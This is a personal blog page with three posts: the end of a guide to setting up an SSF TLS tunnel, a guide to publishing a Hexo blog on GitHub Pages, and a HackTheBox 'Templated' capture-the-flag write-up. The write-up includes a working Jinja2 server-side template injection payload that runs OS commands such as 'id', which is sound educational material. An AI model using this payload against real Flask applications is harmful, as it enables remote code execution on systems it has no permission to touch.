openssl dhparam -outform PEM -out dh${keySize}.pem $keySize
openssl req -x509 -nodes -newkey rsa:4096 -keyout ca.key -out ca.crt -days 3650 -subj "/C=GB/ST=London/L=London/O=Tunnel/OU=IT/CN=ufns"

cat > extfile.txt <<EOF
[ v3_req_p ]
basicConstraints = CA:FALSE
keyUsage = nonRepudiation, digitalSignature, keyEncipherment

[ v3_ca_p ]
basicConstraints = CA:TRUE
keyUsage = nonRepudiation, digitalSignature, keyEncipherment, keyCertSign
EOF

openssl req -newkey rsa:4096 -nodes -keyout private.key -out certificate.csr -subj "/C=GB/ST=London/L=London/O=Tunnel/OU=IT/CN=xetg"

openssl x509 -extfile extfile.txt -extensions v3_req_p -req -sha1 -days 3650 -CA ca.crt -CAkey ca.key -CAcreateserial -in certificate.csr -out certificate.crt

mv ca.crt trusted

Now, after you copy/paste the code in SSF folder and run it. You get:

1
2
3
4
5
6
7
8
9
10
certs
├── ca.key
├── ca.srl
├── certificate.crt
├── certificate.csr
├── dh1024.pem
├── extfile.txt
├── private.key
└── trusted
└── ca.crt

Create SSF config file

Create the file config.json in SSF folder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"ssf": {
"tls" : {
"ca_cert_path": "./certs/trusted/ca.crt",
"cert_path": "./certs/certificate.crt",
"key_path": "./certs/private.key",
"key_password": "",
"dh_path": "./certs/dh1024.pem",
"cipher_alg": "DHE-RSA-AES256-GCM-SHA384"
},
"http_proxy" : {
"host" : "127.0.0.1",
"port" : 3128,
"credential" : {
"reuse_ntlm" : "false",
"reuse_nego" : "false"
}
}
}
}

You need to configure the path of “keys” elements and cntlm proxy

Now it is is finish, you can copy/paste “certs” folder and config.jon on the remote host (VPS or whatever …) in SSF folder, and start the deamon

1
./ssfd -p 443

You can add “-v debug” to show more log.

On client side, in SSF folder, start the tunnel

1
./ssf -D 1080 -p 443 [IP/Host]

If your configuration in OK you will get :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
./ssf -D 1080 -p 443 127.0.0.1  
[config] loading file <config.json>
[config] [tls] CA cert path: <file: ./certs/trusted/ca.crt>
[config] [tls] cert path: <file: ./certs/certificate.crt>
[config] [tls] key path: <file: ./certs/private.key>
[config] [tls] key password: <>
[config] [tls] dh path: <file: ./certs/dh1024.pem>
[config] [tls] cipher suite: <DHE-RSA-AES256-GCM-SHA384>
[config] [http proxy] <None>
[config] [socks proxy] <None>
[config] [circuit] <None>
[ssf] connecting to <127.0.0.1:8011>
[ssf] running (Ctrl + C to stop)
[client] connection attempt 1/1
[client] connected to server
[client] running
[microservice] [stream_listener]: forward TCP connections from <127.0.0.1:1080> to 1080
[client] service <socks> OK

Now the socks tunnel is UP and listen on 127.0.0.1:1080.
You can configure Firefox to use it + foxyProxy plugin.

firefox

If you need to have the ssfd running in background you can use screen.

Create your blog on Github

Purpose

Explain how I create this blog with hexo and github.
I wanted to be able to write markdown posts and host them on github.

Prerequisite

  • Node.js
  • git
  • bash

Which blog framework

There is several blog framework. But for our case we need to generate a static blog to commit on our repository (github).
I search on google and find hexo : A fast, simple & powerful blog framework, it is based on Node.js.

Prepare your github repository

Github offers the possibility to have a web site with a domain like “username.github.io”. All information to activate it can be found here Github Page.
Configure github to access it with SSH. Have a look here.

Installing Hexo and configuration

I am not going to write the hexo doc but all information is on the official hexo website.

Once you have installed the package we can start our blog:

1
2
3
$ hexo init <folder>
$ cd <folder>
$ npm install

Once initialized, here’s what your project folder will look like:

1
2
3
4
5
6
7
8
.  
├── _config.yml
├── package.json
├── scaffolds
├── source
| ├── _drafts
| └── _posts
└── themes

If you create a new post and generate the blog.

1
2
hexo new <title>
hexo generate

A “public” folder will be create with the static web site. This is this folder we want to commit to our github repository.

Create or go to the “public” folder and init the repository.

Create a .gitignore file with the following content:

1
2
3
$ cat .gitignore                                                                                                                              
.*
*.sh

Now we are going to create a Bash script to automatically commit the repository. We want to do fresh commit without old branch. This effectively deletes old articles.
Create “publish.sh” in “public” folder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/bash
# chmod +x publish.sh


date=$(date "+%d-%m-%Y %T")
commit_name="Update ${date}"

# create tmp branch
git checkout --orphan TEMP_BRANCH

git add -A

git commit -m "$commit_name"

# delete old branch
git branch -D main

# rename tmp branch to main
git branch -m main

# force update
git push -f origin main

Now go back to your hexo folder (cd ..) and create a new bash script “hexo_generate.sh”:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
# chmod +x hexo_generate.sh

# clean public to sync source/_post , maybe unnecessary :D
rm -rf public/202* public/archives public/css public/fancybox public/index.html public/js public/tags public/atom.xml

# clean db
rm db.json

hexo generate --deploy --force

# run git add commit push
(cd public && ./publish.sh)

Don’t forget to chmod +x .sh script.

Now you can create articles and automatically publish the blog on github.

That’s it that’s all \o/

HackTheBox challenge web templated

Purpose

Solving web challenge (Templated) from Hackthebox.eu
The only info we get is the name of the challenge.

Reconnaissance

Access the web page give us this information

  • Flask is a lightweight WSGI (Web Server Gateway Interface) web application framework. It is designed to make getting started quick and easy, with the ability to scale up to complex applications
  • Jinja2 is a modern and designer-friendly templating language for Python

I run some tools like gobuster but … nothing

So I search on google about “Jinja template pentest” and find this link https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/

So I try to inject value like {{1+1}} on the page (header/URl ..) and find the exploitation

Spoiler warning

The payload {{self.__dict__}} is also fun

Now we know where to inject code we can try to exploit some example we read in the article :D

For example running the code:

1
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Will execute the Linux command “id”

Spoiler warning

The command is correctly executed; so we can try to enumerate files on the server.

Spoiler warning

Know we find the file with the flag we can read it with “cat”

Spoiler warning

We get the flag \o/

For information doing an “Active Scan” in Burp Pro allow to find the vulnerability directly :D

Enjoy.